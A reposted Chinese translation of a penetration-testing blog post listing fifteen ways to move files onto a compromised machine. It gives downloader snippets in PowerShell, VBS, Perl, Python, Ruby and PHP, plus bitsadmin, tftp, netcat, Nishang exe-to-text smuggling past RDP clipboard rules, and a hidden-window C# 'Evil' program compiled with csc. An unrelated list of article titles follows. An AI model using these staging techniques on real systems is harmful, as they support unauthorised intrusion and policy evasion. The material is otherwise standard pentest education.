转载:https://blog.netspi.com/15-ways-to-download-a-file/
瑞恩甘德鲁德
原创时间:2014年6月16日

Pentesters经常将文件上传到受感染的盒子以帮助进行权限提升,或者保持在计算机上的存在。本博客将介绍将文件从您的计算机移动到受感染系统的15种不同方法。对于那些在盒子上存在且需要开发后选项的渗透测试人员以及只想移动文件的系统管理员来说,这应该是有趣的。

在测试期间还有许多其他方法可以将文件移动到机器上,但是这个列表包括了我的一些最爱。以下是本博客中介绍的文件传输技术的摘要。

1. PowerShell文件下载
2. Visual Basic文件下载
3. Perl文件下载
4. Python文件下载
5. Ruby文件下载
6. PHP文件下载或上传
7. FTP文件下载
8. TFTP文件下载
9. Bitsadmin文件下载
10. Wget文件下载
11. Netcat文件下载
12. Windows共享文件下载
13. 记事本对话框文件下载
14. 使用PowerShell和Nishang执行文本,文本到EXE
15. Csc.exe从源文件编译

注意:通过SQL注入执行命令时,列出的许多技术也应被视为选项。对于多行步骤,将命令ECHO到文件,然后执行该文件。

1. PowerShell文件下载

PowerShell是管理员可以忽略的一种脚本语言。但是,它可以为知道如何使用它的人提供过多的选项和功能。最大的好处是它从Windows Server 2003开始就是Windows的原生。下面是一个简单脚本的示例,可用于从Internet上的Web服务器将文件下载到本地文件系统:

$p = New-Object System.Net.WebClient $p.DownloadFile("http://domain/file" "C:%homepath%file")

要执行此脚本,请在PowerShell窗口中运行以下命令:

PS C:> .test.ps1

有时,PowerShell执行策略设置为受限制。在这种情况下,您将无法通过PowerShell执行命令或脚本…除非您使用以下命令将其设置为不受限制:

C:>powershell set-executionpolicy unrestricted

2. Visual Basic文件下载

自1998年以来,Visual Basic的最终版本已经成为Windows机器的标准配置。以下脚本可以下载您选择的文件。但是,该脚本比PowerShell脚本大得多。

Set args = Wscript.Arguments Url = "http://domain/file" dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", Url, False xHttp.Send with bStrm     .type = 1 '     .open     .write xHttp.responseBody     .savetofile " C:%homepath%file", 2 ' end with

Cscript是一个命令行Windows脚本宿主,允许您传递命令行选项并允许您设置脚本属性。没有必要使用它来在Windows 7和其他可能的程序中运行vbs脚本,但使用它可以让脚本在Windows XP及更高版本的计算机上运行。

要执行此脚本,请在命令shell中运行以下命令:

C:>cscript test.vbs

以下四种语言对于Windows机器来说是非本机语言。但是,如果您发现其上安装了任何这些语言的计算机(无论操作系统如何),您都可以利用这些脚本下载文件。

3. Perl文件下载

Perl是一种非常通用的脚本语言,几乎可以用于任何事情。使用Perl可以非常轻松地将文件下载到本地主机上。

#!/usr/bin/perl use LWP::Simple; getstore("http://domain/file", "file");

要执行此脚本,请在命令shell中运行以下命令:

root@kali:~# perl test.pl

4. Python文件下载

Python是一种通用脚本语言,强调代码可读性。与大多数脚本语言一样,目标是编写比编程语言所需的代码少的代码,同时仍然完成预期的任务。

#!/usr/bin/python import urllib2 u = urllib2.urlopen('http://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close()

要执行此脚本,请在命令shell中运行以下命令:

root@kali:~# python test.py

5. Ruby文件下载

Ruby是一种面向对象的编程语言,可以用于创建框架(想想Metasploit)到简单的任务(如下载文件)。

#!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.domain.com") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } }

要执行此脚本,请在命令shell中运行以下命令:

root@kali:~# ruby test.rb

6. PHP文件下载

PHP通常是用于Web开发的服务器端脚本语言,但也可以用作通用脚本语言。

#!/usr/bin/php <?php         $data = @file("http://example.com/file");         $lf = "local_file";         $fh = fopen($lf, 'w');         fwrite($fh, $data[0]);         fclose($fh); ?>

要执行此脚本,请在命令shell中运行以下命令:

root@kali:~# php test.php

除非另有说明,否则将文件移动到目标计算机上的其余方法是通过本机操作系统功能。其中一些需要比其他步骤更多的步骤,但可以在不同的场景中使用以绕过某些限制。

7. FTP文件下载

对于此方法,攻击者希望将FTP命令回显到bash脚本,因为它通常需要用户交互才能输入用户名和密码。然后可以运行此bash脚本以在不需要交互的情况下运行所有​​步骤。

ftp 127.0.0.1 username password get file exit

8. TFTP文件下载

默认情况下,Windows Vista及更低版本中提供了一些简单的FTP。请注意,您必须设置要连接的相应服务器。它可以使用以下命令运行:

tftp -i host GET C:%homepath%file location_of_file_on_tftp_server

9. Bitsadmin文件下载

Bitsadmin是一个Windows命令行工具,允许用户创建下载或上传任务。

bitsadmin /transfer n http://domain/file c:%homepath%file

10. Wget文件下载

Wget是一个Linux和Windows工具,允许非交互式下载。

wget http://example.com/file

11. Netcat文件下载

Netcat可以通过连接到特定的侦听端口来允许下载文件,该端口将通过连接传递文件的内容。请注意,此示例是特定于Linux的。

在攻击者计算机上,键入:

cat file | nc -l 1234

这将把文件的内容打印到本地端口1234.然后,只要有人连接到该端口,文件的内容就会被发送到连接IP。

应在攻击者所针对的计算机上运行以下命令:

nc host_ip 1234 > file

这会将目标连接到攻击者的计算机并接收将通过连接发送的文件。

12. Windows共享文件下载

Windows共享可以安装到驱动器号,然后可以通过后续复制命令复制文件。

要安装远程驱动器,请键入:

net use x: \127.0.0.1share /user:example.comuserID myPassword

13. 记事本对话框文件下载

如果您对计算机具有访问权限(RDP,物理等),但您的用户权限不允许您打开Web浏览器,则可以使用此技巧从URL或通用命名约定快速下载文件(UNC)路径。当您突破在终端上运行的锁定应用程序时,这也很有效。

打开记事本
转到文件 - 打开
在底部附近的“文件名”框中,键入文件的完整URL路径
记事本非常友好,可以为您提供此文件的内容

14. 使用PowerShell和Nishang将Exe转换为Txt,将Txt转换为Exe

这可能是我在尝试将exe移动到机器时使用的最喜欢的工具之一。Nishang允许您将exe转换为十六进制,然后使用PowerShell将十六进制重组为原始exe。我看到组策略不允许通过RDP剪贴板传输exes。虽然它提供了基本的保护,但它(有时)仍然允许通过剪贴板复制文本的能力。在这种情况下,您可以将Nishang PowerShell源复制到该框中的文件,并将扩展名重命名为.ps1。要复制的Nishang脚本是TexttoExe.ps1,它只有8行。你可以在这里下载Nishang。

要将exe转换为hex文件,请键入:

PS > .ExetoText.ps1 evil.exe evil.txt

打开evil.txt文件并复制内容。然后使用RDP剪贴板将内容粘贴到目标计算机。对Nishang中TexttoExe.ps1文件的内容执行相同操作。

要将hex文件转换回exe,请键入:

PS > .TexttoExe.ps1 evil.text evil.exe

这将导致您的邪恶exe被成功移动到目标机器。

15. Csc.exe从文件编译源代码

C sharp compiler(csc)是Windows中Microsoft .NET安装中包含的命令行编译器。如果您无法复制可执行文件,但仍可以复制文本,这可能很有用。使用此方法,结合SQL注入,可以将exe移动到框中,而不必尝试绕过可能阻止出站连接的出口过滤器或经过身份验证的代理。

此可执行文件的默认位置如下:

C:WindowsMicrosoft.NETFrameworkversion

使用以下示例代码,已编译的可执行文件将使用cmd.exe查询框中的本地用户,并将结果写入C:Temp目录中的文件。这显然可以修改为与盒子上的不同exe进行交互,或者完全重写以使用您自己的漏洞利用代码。

public class Evil {    public static void Main()    {       System.Diagnostics.Process process = new System.Diagnostics.Process();    System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();     startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;      startInfo.FileName = "cmd.exe";      startInfo.Arguments = "/C net users > C:\Temp\users.txt";     process.StartInfo = startInfo;     process.Start();    } }

要编译源代码,请键入:

csc.exe /out:C:evilevil.exe C:evilevil.cs

出自:https://blog.netspi.com/15-ways-to-download-a-file/
引申:https://superuser.com/questions/59465/is-it-possible-to-download-using-the-windows-command-line

15种下载文件的方法相关推荐

  1. 两种 js下载文件的方法(转)

    2019独角兽企业重金招聘Python工程师标准>>> 两种 js下载文件的方法(转) functionDownURL(strRemoteURL, strLocalURL){try{ ...

  2. 爬虫(21)crawlspider讲解古诗文案例补充+小程序社区案例+汽车之家案例+scrapy内置的下载文件的方法

    文章目录 第十九章 crawlspider讲解 1. 古诗文案例crawlspider 1.1 需求 1.2 处理 1.3 解析 2. 小程序社区案例 2.1 创建项目 2.2 项目配置 2.3 解析 ...

  3. 归纳常见几种下载文件方式

    归纳常见几种下载文件方式 一.直接使用 <a> 标签 <a> 标签 只能发送get请求 常见文件说明 实现代码: 二.window.open.location.href实现 三 ...

  4. .net中下载文件的方法(转)

    .net中下载文件的方法 一.//TransmitFile实现下载      protected void Button1_Click(object sender, EventArgs e)      ...

  5. python get 下载 目录_python实现支持目录FTP上传下载文件的方法

    本文实例讲述了python实现支持目录FTP上传下载文件的方法.分享给大家供大家参考.具体如下: 该程序支持ftp上传下载文件和目录.适用于windows和linux平台. #!/usr/bin/en ...

  6. java 百度网盘上传_使用pcs api往免费的百度网盘上传下载文件的方法

    百度个人云盘空间大,完全免费,而且提供了pcs api供调用操作文件,在平时的项目里往里面保存一些文件是很实用的. 环境准备: 开通读写网盘的权限及获取access_token:http://blog ...

  7. java http 下载文件_JAVA通过HttpURLConnection 上传和下载文件的方法

    本文介绍了JAVA通过HttpURLConnection 上传和下载文件的方法,分享给大家,具体如下: HttpURLConnection文件上传 HttpURLConnection采用模拟浏览器上传 ...

  8. linux ftp 查找文件,Linux shell ftp命令根据文件日期下载文件的方法

    需求:ftp获取远程数据的文件,根据文件的创建时间点下载文件. 可以自行扩展根据文件的大小等其他需求. 知识点总结: 1.获取文件的时间: ls -lrt|awk '{print $6" & ...

  9. python多线程下载大文件_Python threading多线程断点下载文件的方法

    这是玩蛇网一篇关于Python多线程下载文件方法的代码实例.文中应用到的python模块和方法有httplib.Python urllib2.Python threading多线程模块.python ...

最新文章

  1. 使用计算机视觉算法检测钢板中的焊接缺陷
  2. 【 Notes 】RFID Preliminary Introduction
  3. Qt Creator使用3D材质
  4. java反射的编译过程_Java反射机制小结和实际操作
  5. OWASP Mutillidae II:保持冷静并保持警惕——闯关小结
  6. 程序员找不到对象是因为还没遇到一个有远见的丈母娘
  7. Linux学习总结(40)——史上最全Linux命令科普
  8. L1-02 聪明的高斯 (5 分)
  9. Mysql中key与index区别
  10. Visual Studio 远程调试设置
  11. 极小化极大(Minimax)算法原理
  12. 计算机科学美国大学专业,2015年U.S.NEWS计算机科学专业美国大学排名
  13. re.match()到底会返回什么?
  14. Windows服务器tomcat日志拆分(cronolog )
  15. 20分钟掌握前端编写 CLI 工具
  16. Python---面向对象---龟鱼游戏
  17. 保卫萝卜迅玩版53关php,保卫萝卜迅玩版 28关 | 手游网游页游攻略大全
  18. 【学习笔记】proxy的用法
  19. 20岁不考证,25岁不加班,30岁不熬夜,40岁你还有工作吗?
  20. 知乎热议:那些35岁失业的中年人,后来都怎么样了?

热门文章

  1. 快排及7种优化 (海贼班 胡船长 第四次直播笔记 )
  2. Vue3和Vue2的区别
  3. 配置方法_怎么查看电脑配置?三个方法学起来
  4. js关闭当前页面刷新父页面
  5. 【java】jstack工具
  6. 明道云大湾区2023年季度闭门会议圆满结束
  7. 记一次支付宝H5证书方式支付、回调、及退款
  8. 2019 vs 安装odt_2019年12月13日罗马协会直播预告
  9. 手机显示服务器响应异常是什么原因,手机老是应用无响应是怎么回事?这6种原因要知道,轻松解决问题...
  10. [Golang]搭建gdb调试go程序